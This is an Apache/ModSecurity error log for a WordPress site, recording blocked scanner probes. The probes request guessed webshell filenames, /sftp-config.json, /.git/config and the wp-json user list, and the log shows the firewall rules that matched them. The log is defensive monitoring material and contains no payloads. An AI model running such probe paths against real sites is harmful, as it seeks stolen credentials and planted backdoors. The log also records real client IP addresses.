[Tue Dec 30 00:04:41.307049 2025] [:error] [pid 24344:tid 24381] [client 158.158.106.197:4826] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "aVKmmU1cesxuccozvjju2wAAAkY"]
[Tue Dec 30 00:04:41.800103 2025] [:error] [pid 24344:tid 24401] [client 158.158.106.197:5047] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "aVKmmU1cesxuccozvjju3AAAAlg"]
[Tue Dec 30 00:04:42.296284 2025] [:error] [pid 11453:tid 11511] [client 158.158.106.197:4856] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "aVKmmry-FXnKT7-6pt4E1AAAAII"]
[Tue Dec 30 00:04:42.784663 2025] [:error] [pid 24344:tid 24386] [client 158.158.106.197:4824] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/1aa.php"] [unique_id "aVKmmk1cesxuccozvjju3wAAAks"]
[Tue Dec 30 00:04:43.282384 2025] [:error] [pid 24344:tid 24387] [client 158.158.106.197:5008] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aVKmm01cesxuccozvjju4gAAAkw"]
[Tue Dec 30 00:04:43.797122 2025] [:error] [pid 4295:tid 4319] [client 158.158.106.197:4912] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aVKmmzZaf4wrmKkZkFJSOQAAAZY"]
[Tue Dec 30 00:04:44.278018 2025] [:error] [pid 11452:tid 11506] [client 158.158.106.197:4913] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aVKmnKhBUmuWsliUNqSJowAAAFg"]
[Tue Dec 30 00:04:44.784993 2025] [:error] [pid 24344:tid 24389] [client 158.158.106.197:4884] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/elp.php"] [unique_id "aVKmnE1cesxuccozvjju5gAAAk4"]
[Tue Dec 30 00:04:45.264507 2025] [:error] [pid 24344:tid 24381] [client 158.158.106.197:5039] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtz.php"] [unique_id "aVKmnU1cesxuccozvjju6AAAAkY"]
[Tue Dec 30 00:04:45.764944 2025] [:error] [pid 24344:tid 24391] [client 158.158.106.197:4800] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtz.php"] [unique_id "aVKmnU1cesxuccozvjju6wAAAk8"]
[Tue Dec 30 00:04:46.263522 2025] [:error] [pid 24344:tid 24387] [client 158.158.106.197:4787] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtz.php"] [unique_id "aVKmnk1cesxuccozvjju7wAAAkw"]
[Tue Dec 30 00:04:46.776298 2025] [:error] [pid 37389:tid 37459] [client 158.158.106.197:4847] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wtz.php"] [unique_id "aVKmnsEYrQKI4GZ26QZzMwAAAQU"]
[Tue Dec 30 00:04:47.270252 2025] [:error] [pid 11453:tid 11526] [client 158.158.106.197:4849] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aVKmn7y-FXnKT7-6pt4E1gAAAJE"]
[Tue Dec 30 00:04:47.754529 2025] [:error] [pid 24344:tid 24400] [client 158.158.106.197:4813] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aVKmn01cesxuccozvjju8wAAAlc"]
[Tue Dec 30 00:04:48.265334 2025] [:error] [pid 11453:tid 11522] [client 158.158.106.197:4914] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aVKmoLy-FXnKT7-6pt4E1wAAAI0"]
[Tue Dec 30 00:04:48.775360 2025] [:error] [pid 24344:tid 24375] [client 158.158.106.197:5090] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/galex.php"] [unique_id "aVKmoE1cesxuccozvjju9AAAAkA"]
[Tue Dec 30 00:04:49.252663 2025] [:error] [pid 24344:tid 24388] [client 158.158.106.197:5025] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xb.php"] [unique_id "aVKmoU1cesxuccozvjju-AAAAk0"]
[Tue Dec 30 00:04:49.763215 2025] [:error] [pid 24344:tid 24391] [client 158.158.106.197:4990] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xb.php"] [unique_id "aVKmoU1cesxuccozvjju-QAAAk8"]
[Tue Dec 30 00:04:50.256640 2025] [:error] [pid 11451:tid 11467] [client 158.158.106.197:4920] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xb.php"] [unique_id "aVKmopDUmxySx0Vynm8txQAAAAw"]
[Tue Dec 30 00:04:50.768000 2025] [:error] [pid 24344:tid 24401] [client 158.158.106.197:4842] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xb.php"] [unique_id "aVKmok1cesxuccozvjju-wAAAlg"]
[Tue Dec 30 00:04:51.302366 2025] [:error] [pid 24344:tid 24396] [client 158.158.106.197:4834] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "aVKmo01cesxuccozvjju_AAAAlM"]
[Tue Dec 30 00:04:51.784486 2025] [:error] [pid 11453:tid 11516] [client 158.158.106.197:4915] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "aVKmo7y-FXnKT7-6pt4E3AAAAIc"]
[Tue Dec 30 00:04:52.273176 2025] [:error] [pid 42293:tid 42312] [client 158.158.106.197:4672] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "aVKmpApAkHF7zSWhAzGExgAAAVE"]
[Tue Dec 30 00:04:52.753544 2025] [:error] [pid 24344:tid 24387] [client 158.158.106.197:4680] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ova.php"] [unique_id "aVKmpE1cesxuccozvjju_gAAAkw"]
[Tue Dec 30 00:04:53.248156 2025] [:error] [pid 24307:tid 24318] [client 158.158.106.197:4817] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aVKmpS5AURuH8IsFzz6bvQAAAcg"]
[Tue Dec 30 00:04:53.731485 2025] [:error] [pid 11540:tid 11549] [client 158.158.106.197:4707] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aVKmpQ1izvtkZ6YWaTwNWQAAAMc"]
[Tue Dec 30 00:04:54.216850 2025] [:error] [pid 42293:tid 42313] [client 158.158.106.197:4927] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aVKmpgpAkHF7zSWhAzGEyAAAAVI"]
[Tue Dec 30 00:04:54.692550 2025] [:error] [pid 24344:tid 24382] [client 158.158.106.197:4828] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/vx.php"] [unique_id "aVKmpk1cesxuccozvjjvAAAAAkc"]
[Tue Dec 30 00:04:55.173126 2025] [:error] [pid 24307:tid 24312] [client 158.158.106.197:4898] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aVKmpy5AURuH8IsFzz6bvgAAAcI"]
[Tue Dec 30 00:04:55.649382 2025] [:error] [pid 11452:tid 11495] [client 158.158.106.197:4783] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aVKmp6hBUmuWsliUNqSJpgAAAE0"]
[Tue Dec 30 00:04:56.125456 2025] [:error] [pid 4295:tid 4311] [client 158.158.106.197:4891] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aVKmqDZaf4wrmKkZkFJSRAAAAY4"]
[Tue Dec 30 00:04:56.620426 2025] [:error] [pid 4295:tid 4307] [client 158.158.106.197:4805] [client 158.158.106.197] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/rh.php"] [unique_id "aVKmqDZaf4wrmKkZkFJSRQAAAYo"]
[Tue Dec 30 15:34:53.887369 2025] [:error] [pid 47441:tid 47461] [client 103.65.236.149:64727] [client 103.65.236.149] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/sftp-config.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/sftp-config.json"] [unique_id "aVOAnS6d2esGSN6Ne3MUpAAAAVE"]
[Tue Dec 30 20:54:17.304228 2025] [:error] [pid 28824:tid 28851] [client 103.77.106.57:54402] [client 103.77.106.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/postnews.php"] [unique_id "aVPLeX8FhtgLvBhuCR1MugAAAIY"]
[Tue Dec 30 20:54:18.466836 2025] [:error] [pid 38777:tid 38782] [client 103.77.106.57:54619] [client 103.77.106.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-content/postnews.php"] [unique_id "aVPLemLn9GPxJXPhnHYY2gAAAEI"]
[Tue Dec 30 20:54:21.001511 2025] [:error] [pid 28954:tid 28970] [client 103.77.106.57:54749] [client 103.77.106.57] ModSecurity: Access denied with code 403 (phase 1). String match "Go-http-client" at REQUEST_HEADERS:User-Agent. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "36"] [id "771003"] [msg "Blocked bad bot user-agent: Go-http-client"] [tag "bad_bot"] [hostname "agraphics.com.au"] [uri "/wp-admin/postnews.php"] [unique_id "aVPLfaRZgqk7uuu8M0w-OwAAAA4"]
[Wed Dec 31 00:12:03.351469 2025] [autoindex:error] [pid 49982:tid 50028] [client 159.89.181.56:60564] AH01276: Cannot serve directory /home/agraphicscom/public_html/.well-known/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Wed Dec 31 01:57:54.756681 2025] [:error] [pid 1651:tid 1714] [client 195.178.110.190:56346] [client 195.178.110.190] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "agraphics.com.au"] [uri "/.git/config"] [unique_id "aVQSonAnYt-Xi20L7fABSgAAAVc"]
[Wed Dec 31 02:33:58.876538 2025] [:error] [pid 49983:tid 50054] [client 162.204.120.75:37002] [client 162.204.120.75] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||agraphics.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "agraphics.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "aVQbFmiL1pay2WifcvamHgAAAQw"], referer: https://www.google.com
[Wed Dec 31 02:34:13.880721 2025] [:error] [pid 49983:tid 50048] [client 162.204.120.75:37238] [client 162.204.120.75] ModSecurity: Warning. Match of "pmFromFile userdata_wl_content_type" against "TX:0" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "17"] [id "210710"] [rev "5"] [msg "COMODO WAF: Request content type is not allowed by policy. Please update file userdata_wl_content_type.||agraphics.com.au|F|2"] [data "TX:0=text/plain"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aVQbJWiL1pay2WifcvamJgAAAQY"]
[Wed Dec 31 02:34:13.881064 2025] [:error] [pid 49983:tid 50048] [client 162.204.120.75:37238] [client 162.204.120.75] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 162.204.120.75, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aVQbJWiL1pay2WifcvamJgAAAQY"]
[Wed Dec 31 02:34:13.893102 2025] [proxy_fcgi:error] [pid 49983:tid 50048] [client 162.204.120.75:37238] AH01071: Got error 'Primary script unknown'
[Wed Dec 31 02:34:19.502804 2025] [:error] [pid 50266:tid 50268] [client 162.204.120.75:37480] [client 162.204.120.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.204.120.75, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVQbK_w6SPY9puCUnH-WPAAAAEA"], referer: https://www.google.com
[Wed Dec 31 02:34:19.507325 2025] [proxy_fcgi:error] [pid 50266:tid 50268] [client 162.204.120.75:37480] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Wed Dec 31 02:34:27.295759 2025] [:error] [pid 49982:tid 50024] [client 162.204.120.75:37740] [client 162.204.120.75] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.204.120.75, incrementing brute counter"] [hostname "agraphics.com.au"] [uri "/wp-login.php"] [unique_id "aVQbMyFJSHqasQiscZ7-PwAAAMk"], referer: https://www.google.com
[Wed Dec 31 02:34:27.301858 2025] [proxy_fcgi:error] [pid 49982:tid 50024] [client 162.204.120.75:37740] AH01071: Got error 'Primary script unknown', referer: https://www.google.com
[Wed Dec 31 06:57:37.840432 2025] [proxy_fcgi:error] [pid 42504:tid 42523] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Wed Dec 31 06:57:37.931709 2025] [proxy_fcgi:error] [pid 42504:tid 42509] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Dec 31 06:57:38.022743 2025] [proxy_fcgi:error] [pid 42504:tid 42510] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Wed Dec 31 06:57:38.113457 2025] [proxy_fcgi:error] [pid 42504:tid 42513] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Wed Dec 31 06:57:38.203520 2025] [proxy_fcgi:error] [pid 42504:tid 42512] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Dec 31 06:57:38.294524 2025] [proxy_fcgi:error] [pid 42504:tid 42514] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Wed Dec 31 06:57:38.475541 2025] [proxy_fcgi:error] [pid 42504:tid 42521] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Wed Dec 31 06:57:38.566892 2025] [proxy_fcgi:error] [pid 42504:tid 42528] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Dec 31 06:57:38.658611 2025] [proxy_fcgi:error] [pid 42504:tid 42515] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Dec 31 06:57:38.745087 2025] [:error] [pid 42504:tid 42524] [client 4.194.133.126:16788] [client 4.194.133.126] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 4.194.133.126, incrementing ddos counter"] [hostname "agraphics.com.au"] [uri "/xmlrpc.php"] [unique_id "aVRY4lg0lj8Dy7rLxBDthgAAARE"], referer: https://www.google.co.uk/
[Wed Dec 31 06:57:38.749413 2025] [proxy_fcgi:error] [pid 42504:tid 42524] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.google.co.uk/
[Wed Dec 31 06:57:38.839871 2025] [proxy_fcgi:error] [pid 42504:tid 42526] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.yahoo.com/
[Wed Dec 31 06:57:38.930396 2025] [proxy_fcgi:error] [pid 42504:tid 42507] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Wed Dec 31 06:57:39.020455 2025] [proxy_fcgi:error] [pid 42504:tid 42529] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Wed Dec 31 06:57:39.114172 2025] [proxy_fcgi:error] [pid 42504:tid 42530] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Wed Dec 31 06:57:39.204766 2025] [proxy_fcgi:error] [pid 42504:tid 42518] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Dec 31 06:57:39.297403 2025] [proxy_fcgi:error] [pid 42504:tid 42520] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://duckduckgo.com/
[Wed Dec 31 06:57:39.388314 2025] [proxy_fcgi:error] [pid 42504:tid 42531] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Wed Dec 31 06:57:39.479855 2025] [proxy_fcgi:error] [pid 42504:tid 42516] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Dec 31 06:57:39.928354 2025] [proxy_fcgi:error] [pid 42504:tid 42527] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Dec 31 06:57:40.109110 2025] [proxy_fcgi:error] [pid 42504:tid 42523] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.google.com/
[Wed Dec 31 06:57:40.289078 2025] [proxy_fcgi:error] [pid 42504:tid 42513] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Dec 31 06:57:40.378957 2025] [proxy_fcgi:error] [pid 42504:tid 42512] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.google.fr/
[Wed Dec 31 06:57:40.468471 2025] [proxy_fcgi:error] [pid 42504:tid 42511] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Dec 31 06:57:40.561171 2025] [proxy_fcgi:error] [pid 42504:tid 42528] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.google.de/
[Wed Dec 31 06:57:40.652437 2025] [proxy_fcgi:error] [pid 42504:tid 42515] [client 4.194.133.126:16788] AH01071: Got error 'Primary script unknown', referer: https://www.bing.com/
[Wed Dec 31 06:57:40.741299 2025] [:error] [pid 42504:tid 42524] [client 4.194.133.126:16788] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/crop/cropper.php"] [unique_id "aVRY5Fg0lj8Dy7rLxBDtngAAARE"], referer: https://www.google.com/
[Wed Dec 31 06:57:40.915161 2025] [:error] [pid 42536:tid 42540] [client 4.194.133.126:16776] [client 4.194.133.126] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/js/thickbox/thickbox.php"] [unique_id "aVRY5AY1iaVE0V_WQ59HKAAAAUI"], referer: https://www.bing.com/
